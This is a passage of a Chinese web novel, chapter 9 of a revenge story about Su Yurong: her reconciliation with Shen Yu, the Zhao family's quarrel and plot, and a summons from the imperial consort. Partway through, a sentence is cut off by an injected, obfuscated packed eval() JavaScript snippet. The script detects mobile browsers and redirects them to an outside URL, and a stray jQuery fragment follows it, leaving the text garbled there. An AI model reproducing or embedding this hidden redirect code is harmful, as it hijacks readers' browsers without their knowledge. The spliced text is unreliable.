9. 贵妃召见

作品:《立誓报仇后成为女皇了

    苏玉蓉低头笑了一下,这次的笑意里多了几分真,其实在她简单清洗过,又在外面吹了这么久冷风后,身上的血腥气已经几不可闻了,只是方玉书鼻子太灵敏。


    确实是适合查案的料子,苏玉蓉在心中不无调侃地想,她眨眨眼,“多谢方大人提醒,下次来月事的时候我一定会注意的。”


    她看见方玉书愣了一下,然后脸板得更严肃了,猛然低下头去,目光闪烁不敢和她对视,却让通红的耳根暴露在了她眼前。


    但方玉书没说什么这种事不应该同他这个外男说之类的话,因为二人心中都清楚,这是苏玉蓉早早就为身上的血腥气找好的借口。


    苏玉蓉摆摆手,当做告辞,马车动了起来,方玉书的身影越来越远。苏玉蓉关上车窗,脸上的笑慢慢落了下来。


    “给沈瑜传信,我要见他一面。”


    .


    今日又是一个雪天,这很正常,毕竟京都冬日里总是多雪的。苏玉蓉坐在她和沈瑜用来秘密联络的小院里,支着下巴对着飘舞的雪花发呆。


    这还是她和沈瑜从在外人眼中不欢而散的那天起,第一次见面,从那天开始,她和沈瑜见面都要这么偷偷摸摸的了。她低下头,心里后知后觉的有些怅然。


    约定的时间一点点临近,沈瑜的身影却迟迟没有出现,知柳有点犹豫地问道:“姑娘,沈少爷不会不来了吧?”


    苏玉蓉从思绪中回过神来,微微抬起头问道,“到约好的时间了吗?”


    “还有不到一盏茶。”


    苏玉蓉闻言,刚离开手心的下巴又放了回去,“他会来的。”


    只是会赶在最后一刻来罢了。从小到大,每次沈瑜觉得惹她生气了,都是这副想躲又不敢躲的样子,必定要在实在拖不下去的时候才肯出现。


    果然,到了约定的最后一刻,沈瑜准时出现在了门口。


    一席白衣,披着一件黑色的狐裘,神色淡然,看上去还是那个温润如玉处变不惊的世家公子。但依照苏玉蓉对他的了解,沈瑜现在可远没有看上去坦然。


    沈瑜站在门边,苏玉蓉坐在廊下,两个人谁也没有出声,一时间小小的院子静得连雪花落地的声音都能听见。直到这雪越发大了,已经在一动不动的沈瑜身上积了浅浅一层。


    苏玉蓉叹了口气,“在你不给我解释之前,你就是把自己冻死在那,我也不会心软的。”


    沈瑜低头笑了一下,因为苏玉蓉肯和他说话,就是已经心软了。他知道自己的卑劣,总是利用苏玉蓉嘴硬心软,故作可怜地求她原谅。


    但他本就不是什么好人,更无法承受一点他的玉蓉阿姐此后不再理会他的可能。


    苏玉蓉没好气地看着沈瑜慢慢走到廊下,倒了一杯温热的茶水,粗暴地塞进沈瑜手里。


    “每次都这样,下次我就让你冻死在那。”


    沈瑜抬眼看她,总被苏玉蓉称作漂亮的脸蛋上带着无辜,配上发间已经开始融化的雪花,像是一只有点狼狈的、湿漉漉的小狗。


    于是苏玉蓉就又把帕子扔到他怀里,别回头去不看他,“别演了,赶紧把头发擦干。”


    沈瑜并不反驳,只是浅浅笑着收下帕子,在擦完头发之后,又将手帕收进了自己怀里。


    苏玉蓉没理他,又开始看着外面飘扬的大雪了。在沈瑜喝着那杯热茶时,她突然开口,“鹊儿死的时候也下了雪。”


    沈瑜的手一颤,有茶水不小心溅到手背上,留下浅淡的红痕。


    “对不起”,沈瑜沉默了一瞬,然后低声说道。


    苏玉蓉语气平静,但还是不愿意转头去看他,“为什么不提前告诉我。”


    沈瑜看着苏玉蓉沉默着。


    他不说话,苏玉蓉就又说:“你早知道鹊儿有求死之心,为什么不告诉我,也许我还能……”


    沈瑜罕见地打断了苏玉蓉的话,他不想让苏玉蓉陷进这种自责的情绪之中,“你不能,这是她自己的决定,谁也救不了她,我不能,你也不能。”


    苏玉蓉猛然转过头来,“但我至少应该尝试,如果当日的人是阿姐,你也会眼睁睁看着她走上死路,然后再说上一句轻飘飘的救不了她吗?”


    沈瑜叹了口气,其实苏玉蓉未必不明白她拦不下鹊儿,她只是心中总觉得过不去罢了。而如果她真的提前知道了,却还是没能救下鹊儿,她只会更难过。又或者宁可让自己陷入危险,也要救下鹊儿。


    长姐是这样,玉蓉也是这样,这是她的长处,也是短处,更是她与他截然不同的地方。


    但正是这样的苏玉蓉,才会从一开始就一直吸引着他的视线,像是冬日里的暖炉 ,让他渴望靠近,渴望这样热烈的一个人能永远留在他身边。


    “此事是我的错。是我怕你知道鹊儿的心思后,会制止鹊儿参与其中,所以对你隐瞒了实情。”


    苏玉蓉怔了一会儿,然后疲惫地抬手捂住了脸。因为沈瑜说的,是最有可能发生的事情,如此计划全盘推翻事小,可谁又知道他们还能不能找到第二个鹊儿。而在他们寻找的过程中,又有多少鹊儿会遭到赵怀鸣毒手。


    为什么世间事好像总是难以两全,总是这样进也不是,退也不是。


    沈瑜没有说话,任由苏玉蓉自己消耗这些情绪,他知道苏玉蓉不会被这些打倒,她很快会恢复回那个爽朗乐观的苏玉蓉。


    他刚饮尽了一杯茶水,就听见身侧传来一声有些微弱的“对不起”。


    苏玉蓉转头和沈瑜对视,她从来不怕承认自己的错误,更别提还是在沈瑜面前,“此事我也有不对,我有时候太感情用事,让事情横生枝节,还在今日对你发脾气。”


    “但沈瑜”,她明媚的双眸认真而郑重地盯着沈瑜,“我有错,但你也并非全对。我重情太过,而你过于冷情。往后的每一步,若是都是由我或你全权决定,这条路就注定走不长远,你我也免不了分道扬镳的一天。”


    在她说到“分道扬镳”时,沈瑜就已经用力抓住了她的手,他的睫毛微微颤动,就如同他为这种可能而颤动的心脏。


    他一直明白,瞒着苏玉蓉,是他做的不对,可其实他在心中觉得,若再有下一次,他还会做出同样的选择。直到苏玉蓉说出这句话,让他迅速丢盔卸甲,他不敢让他们的将来有任何一点那种可能。


    他看着苏玉蓉的眼睛,郑重地承诺,“不会的,我们不会有那一天的,我保证,日后不会再瞒着你任何事。”


    苏玉蓉被抱进了那个有淡淡梨花香气的怀抱中,沈瑜抱得很用力,似乎从阿姐离开之后,他们的拥抱总是这么用力,就像是错过了这次便再也没有下一次一样。沈瑜将头埋在她肩膀上,她听见闷闷的声音传来。


    “别丢下我,玉蓉阿姐。”


    .


    赵府,二房的院子里又传来一阵争吵的声音,院子里打扫的下人们见怪不怪地低下头去,自从二房的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611104|156117||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    少爷去了之后,夫人和老爷就总是争吵不断。


    “砰”,王氏又摔碎了一个花瓶,“为什么大理寺还没有消息,难道他们真打算让一个下人顶罪,我看大理寺卿真是疯了,竟然相信一个奴才说的话!”


    赵鸿畴神色难看地揉了揉眉心,“人证物证都有,这件事看上去确实是鹊儿做的,你对着我摔摔打打的,我又能有什么办法。”


    王氏揪着他的袖子不放,“怎么没办法,这件事肯定是姓苏那个贱人做的,只要大哥肯帮忙,让大理寺卿做个假证,那不就……”


    赵鸿畴一把甩开王氏的手,厉声骂道,“无知妇人!你当大理寺是什么地方?大理寺卿又不是赵家养的狗。若是有证据他自然愿意帮着赵家,但你想让他当着整个大理寺的面,尤其是当着右相那个关门弟子方玉书的面为赵家造假?你把赵家真当成皇帝了?”


    赵鸿畴压低嗓子说出最后一句话,王氏梗着脖子对赵鸿畴喊,“是,我是无知妇人,但我想着为咱们的儿子报仇。你呢?你畏首畏尾,这么多天你为鸿儿做了什么?”


    她喘了几口粗气,又一拍桌子,“大理寺那边行不通,咱们就自己找人动手,把那个贱人弄死。”


    赵鸿畴像看疯子一样看着王氏,见她是真心实意想要找人截杀苏玉蓉,指着她的鼻子,气得手都在发抖。


    “你这个毒妇,你是想要让整个赵家都陪葬啊。你有这个心思,还不如让雁儿想想办法,她是贵妃,收拾一个苏氏岂不是动动手指的事?”


    王氏一把打开赵鸿畴的手,雁儿就是赵寻雁,他们的独女,鸣儿一母同胞的亲姐姐。


    “你说我是毒妇,我看你才是毒父!鸣儿是我的孩子,雁儿也是!皇帝向来不喜欢后妃跋扈,你让雁儿去为难苏氏,她惹了皇帝厌弃怎么办,日后在那吃人的地方怎么活?!你赵家重要,我的雁儿难道就不重要吗?!”


    赵鸿畴一甩袖子,留下一句“反正办法我已经告诉你了,是你自己不愿,日后别再说我不为儿子报仇”,然后扬长而去。


    王氏看着赵鸿畴头也不回的背影,跌坐在椅子上,掩面而泣,“没心肝的,他只想着自己的荣华富贵,儿子女儿他是一个也不在乎。”


    侍女连忙又是端茶又是劝,过了好一会儿王氏才稍微平静下来,她目光灼灼,咬着牙说道:“赵家人不帮我,那我就自己来。”


    .


    苏玉蓉自与沈瑜谈开之后,又过上了同前段时间一样,每天都在等待的日子。这日,她正吃着沈瑜偷偷派人送来的奶白糕,就听下人禀告,宫里有人来了。


    来的是个宫女,替贵妃传话,神情倨傲,不知道的怕是要以为她就是贵妃了。


    “你就是云州节度使苏大人的女儿苏氏?”


    苏玉蓉面无表情地答是。


    宫女就故意上下打量她,露出一个挑剔嫌弃的表情。苏玉蓉只觉得京都这些人有时候真是幼稚,是觉得她们的看不起能让她无地自容吗?


    不,她只会觉得这帮人眼瞎心盲,还蠢得让她想笑。


    她面无表情地看着对方,一动不动的任由宫女打量,时间一长反而是宫女开始觉得不自在。


    那宫女又硬撑了一会儿,最终还是在苏玉蓉隐隐带着嘲讽的表情中败下阵来。她讪讪地收回了目光,清了清嗓子,表情又调整回目中无人的状态,抻着声音对苏玉蓉说。


    “贵妃娘娘召见,苏姑娘请吧。”